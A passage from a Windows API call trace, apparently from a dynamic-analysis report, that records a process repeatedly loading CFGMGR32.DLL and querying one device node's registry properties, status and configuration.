lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.742] malloc (_Size=0x18) returned 0x20abc281f20 [0231.742] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.743] malloc (_Size=0x38) returned 0x20abc281510 [0231.743] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281510, pulLength=0x2dc22fd3f8) returned 0x0 [0231.744] free (_Block=0x20abc281510) [0231.744] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45e56b42, dwHighDateTime=0x1d9eb0c)) [0231.744] SetEvent (hEvent=0x248) returned 1 [0231.747] malloc (_Size=0x18) returned 0x20abc281da0 [0231.747] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0231.747] free (_Block=0x20abc281da0) [0231.747] malloc (_Size=0x18) returned 0x20abc281fe0 [0231.747] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0231.747] free (_Block=0x20abc281fe0) [0231.747] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d870 [0231.747] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0231.747] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0231.747] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0231.747] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0231.747] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0231.748] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0231.748] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0231.748] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0231.748] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.748] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.749] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0231.749] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d870) returned 1 [0231.750] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.750] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.752] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.753] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.754] malloc (_Size=0x18) returned 0x20abc281d40 [0231.754] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.758] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45e7d0e6, dwHighDateTime=0x1d9eb0c)) [0231.758] SetEvent (hEvent=0x248) returned 1 [0231.762] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.762] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.766] malloc (_Size=0x18) returned 0x20abc281a80 [0231.766] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.766] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45e7d0e6, dwHighDateTime=0x1d9eb0c)) [0231.767] SetEvent (hEvent=0x248) returned 1 [0231.821] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.821] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.823] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.824] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.825] malloc (_Size=0x18) returned 0x20abc281c60 [0231.825] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.825] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45f156c5, dwHighDateTime=0x1d9eb0c)) [0231.826] SetEvent (hEvent=0x248) returned 1 [0231.829] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.829] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.833] malloc (_Size=0x18) returned 0x20abc281b80 [0231.833] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.833] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45f3bbc0, dwHighDateTime=0x1d9eb0c)) [0231.834] SetEvent (hEvent=0x248) returned 1 [0231.839] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.839] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.843] malloc (_Size=0x18) returned 0x20abc2820e0 [0231.843] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.845] malloc (_Size=0x48) returned 0x20abc2ab810 [0231.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45f3bbc0, dwHighDateTime=0x1d9eb0c)) [0231.846] SetEvent (hEvent=0x248) returned 1 [0231.850] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.850] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.853] malloc (_Size=0x18) returned 0x20abc281f60 [0231.854] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0231.854] malloc (_Size=0x48) returned 0x20abc2ab5e0 [0231.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x45f62d87, dwHighDateTime=0x1d9eb0c)) [0231.854] SetEvent (hEvent=0x248) returned 1 [0231.859] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.859] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.859] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.860] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.862] malloc (_Size=0x18) returned 0x20abc281e60 [0231.862] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0231.863] malloc (_Size=0x48) returned 0x20abc2ac030 [0231.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x45f62d87, dwHighDateTime=0x1d9eb0c)) [0231.933] SetEvent 